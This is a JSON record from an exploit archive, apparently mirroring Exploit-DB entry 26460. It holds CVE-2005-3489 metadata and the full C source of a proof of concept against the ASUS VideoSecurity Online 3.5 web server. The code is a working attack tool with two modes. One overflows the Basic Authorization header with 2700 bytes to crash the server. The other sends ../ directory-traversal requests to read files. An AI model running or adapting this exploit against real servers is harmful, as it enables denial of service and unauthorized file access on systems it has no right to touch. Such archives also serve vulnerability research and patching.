{"exploit":{"id":"EDB-26460","name":"ASUS VideoSecurity Online 3.5 - Web Server Authentication Buffer Overflow","description":"ASUS VideoSecurity Online 3.5 - Web Server Authentication Buffer Overflow","cves":["CVE-2005-3489"],"author":"Luigi Auriemma","published":"2005-11-02","platform":"windows","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/26460","path":"exploits/windows/remote/26460.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-26460.c","vulnerabilities":[{"id":"CVE-2005-3489","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Asus Video Security 3.5.0.0 and earlier, when using authorization, allows remote attackers to execute arbitrary code via a long username/password string.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-3489","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-3489"},"updatedAt":"2024-08-07T23:17:22.484Z","retrievedAt":"2026-11-27T10:07:03.226Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-26460.png?v=2","url":"https://exploitbin.com/exploits/EDB-26460","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-26460/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-26460/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nsource: https://web.archive.org/web/2005/https://www.securityfocus.com/bid/15279/info\n\nAsus VideoSecurity Online is prone to a buffer overflow in the authentication mechanism of the included Web server. This issue only exists if authentication is enabled on the Web server.\n\nThe Web server included with Asus VideoSecurity Online is not enabled by default.\n\nThis vulnerability is reported to affect Asus VideoSecurity Online 3.5.0 and earlier.\n*/\n\n/* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include\n<string.h> #ifdef WIN32\n    #include <winsock.h>\n    #include \"winerr.h\"\n    #define close closesocket\n    #define ONESEC 1000 #else\n    #include <unistd.h>\n    #include <sys/socket.h>\n    #include <sys/types.h>\n    #include <arpa/inet.h>\n    #include <netinet/in.h>\n    #include <netdb.h>\n    #define ONESEC 1 #endif #define VER \"0.1\" #define PORT 80 #define\nBUFFSZ 8192 #define BOFSZ 2700 u_char *delimit(u_char *data); int\nhttp_get(u_char *in, int insz, u_char *out, int outsz); u_char\n*base64_encode(u_char *data, int *length); u_int resolv(char *host); void\nstd_err(void); struct sockaddr_in peer; int main(int argc, char *argv[]) {\n    int len,\n            attack,\n            auth = 0;\n    u_short port = PORT;\n    u_char buff[BUFFSZ],\n            uri[BUFFSZ >> 1],\n            more[BUFFSZ >> 1],\n            userpass[64],\n            *b64,\n            *p; #ifdef WIN32\n    WSADATA wsadata;\n    WSAStartup(MAKEWORD(1,0), &wsadata); #endif\n    setbuf(stdout, NULL);\n    fputs(\"\\n\"\n        \"ASUS Video Security <= 3.5.0.0 HTTP multiple vulnerabilities\n\"VER\"\\n\"\n        \"by Luigi Auriemma\\n\"\n        \"e-mail: aluigi@autistici.org\\n\"\n        \"web:  http://aluigi.altervista.org\\n\"\n        \"\\n\", stdout);\n    if(argc < 3) {\n        printf(\"\\n\"\n            \"Usage: %s <attack> <host> [port(%hu)]\\n\"\n            \"\\n\"\n            \"Attack:\\n\"\n            \"1 = authorization buffer-overflow, works only if server uses\npassword\\n\"\n            \"2 = directory traversal, if the server uses a password you\nmust know it\\n\"\n            \"\\n\", argv[0], port);\n        exit(1);\n    }\n    attack = atoi(argv[1]);\n    if(argc > 3) port = atoi(argv[3]);\n    peer.sin_addr.s_addr = resolv(argv[2]);\n    peer.sin_port = htons(port);\n    peer.sin_family = AF_INET;\n    printf(\"- target %s : %hu\\n\",\n        inet_ntoa(peer.sin_addr), port);\n    len = sprintf(buff,\n        \"GET / HTTP/1.1\\r\\n\"\n        \"Connection: close\\r\\n\"\n        \"\\r\\n\");\n    fputs(\"- check server\\n\", stdout);\n    len = http_get(buff, len, buff, sizeof(buff) - 1);\n    p = strstr(buff, \"\\r\\n\\r\\n\");\n    if(p) *p = 0;\n    if(strstr(buff, \"Authenticate\")) {\n        auth = 1;\n        fputs(\"- server uses password\\n\", stdout);\n    }\n    *uri = 0;\n    *more = 0;\n    switch(attack) {\n        case 1: {\n            if(!auth) {\n                printf(\"  Alert: the server doesn't use password so is not\nvulnerable to this attack\\n\");\n            }\n            memset(buff, 'A', BOFSZ);\n            len = BOFSZ;\n            b64 = base64_encode(buff, &len);\n            sprintf(more, \"Authorization: Basic %s\\r\\n\", b64);\n            free(b64);\n            } break;\n        case 2: {\n            if(auth) {\n                fputs(\"- insert username:password (like asus:asus):\\n \",\nstdout);\n                fflush(stdin);\n                fgets(userpass, sizeof(userpass), stdin);\n                len = delimit(userpass) - userpass;\n                b64 = base64_encode(userpass, &len);\n                sprintf(more, \"Authorization: Basic %s\\r\\n\", b64);\n                free(b64);\n            }\n            fputs(\"- insert the URI (like ../../../../autoexec.bat):\\n \",\nstdout);\n            fflush(stdin);\n            fgets(uri, sizeof(uri), stdin);\n            delimit(uri);\n            } break;\n        default: {\n            printf(\"\\nError: the attack %d is not available\\n\\n\", attack);\n            exit(1);\n            } break;\n    }\n    sleep(ONESEC);\n    len = sprintf(buff,\n        \"GET /%s HTTP/1.1\\r\\n\"\n        \"Connection: close\\r\\n\"\n        \"%s\"\n        \"\\r\\n\",\n        uri,\n        more);\n    fputs(\"- launch attack\\n\", stdout);\n    len = http_get(buff, len, buff, sizeof(buff) - 1);\n    if(len < 0) {\n        fputs(\"- the server seems crashed\\n\\n\", stdout);\n    } else {\n        fputs(\"- show the returned data:\\n\", stdout);\n        fputs(buff, stdout);\n    }\n    return(0); } u_char *delimit(u_char *data) {\n    while(*data > '\\r') data++;\n    *data = 0;\n    return(data); } int http_get(u_char *in, int insz, u_char *out, int\noutsz) {\n    int sd,\n            t,\n            len = 0;\n    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n    if(sd < 0) std_err();\n    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))\n      < 0) std_err();\n    if(send(sd, in, insz, 0)\n      < 0) std_err();\n    while(outsz) {\n        t = recv(sd, out, outsz, 0);\n        if(t < 0) {\n            len = -1;\n            break;\n        }\n        if(!t) break;\n        len += t;\n        out += t;\n        outsz -= t;\n    }\n    *out = 0;\n    close(sd);\n    return(len); } u_char *base64_encode(u_char *data, int *length) {\n    int r64len,\n                    len = *length;\n    u_char *p64;\n    static u_char *r64;\n    const static char enctab[64] = {\n        'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',\n        'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',\n        'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',\n        'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'\n    };\n    r64len = ((len / 3) << 2) + 5;\n    r64 = malloc(r64len);\n    if(!r64) return(NULL);\n    p64 = r64;\n    do {\n        *p64++ = enctab[(*data >> 2) & 63];\n        *p64++ = enctab[(((*data & 3) << 4) | ((*(data + 1) >> 4) & 15)) &\n63];\n        data++;\n        *p64++ = enctab[(((*data & 15) << 2) | ((*(data + 1) >> 6) & 3)) &\n63];\n        data++;\n        *p64++ = enctab[*data & 63];\n        data++;\n        len -= 3;\n    } while(len > 0);\n    for(; len < 0; len++) *(p64 + len) = '=';\n    *p64 = 0;\n    *length = p64 - r64;\n    return(r64); } u_int resolv(char *host) {\n    struct hostent *hp;\n    u_int host_ip;\n    host_ip = inet_addr(host);\n    if(host_ip == INADDR_NONE) {\n        hp = gethostbyname(host);\n        if(!hp) {\n            printf(\"\\nError: Unable to resolve hostname (%s)\\n\", host);\n            exit(1);\n        } else host_ip = *(u_int *)(hp->h_addr);\n    }\n    return(host_ip); } #ifndef WIN32\n    void std_err(void) {\n        perror(\"\\nError\");\n        exit(1);\n    } #endif","sha256":"9afb42c4347057cb6154b9b387590f9e1895b364312b9b01eaeba39c95852883","bytes":6506,"fetchedAt":"2026-11-27T10:07:03.000Z","encoding":"utf-8 (display only; download retains original bytes)"}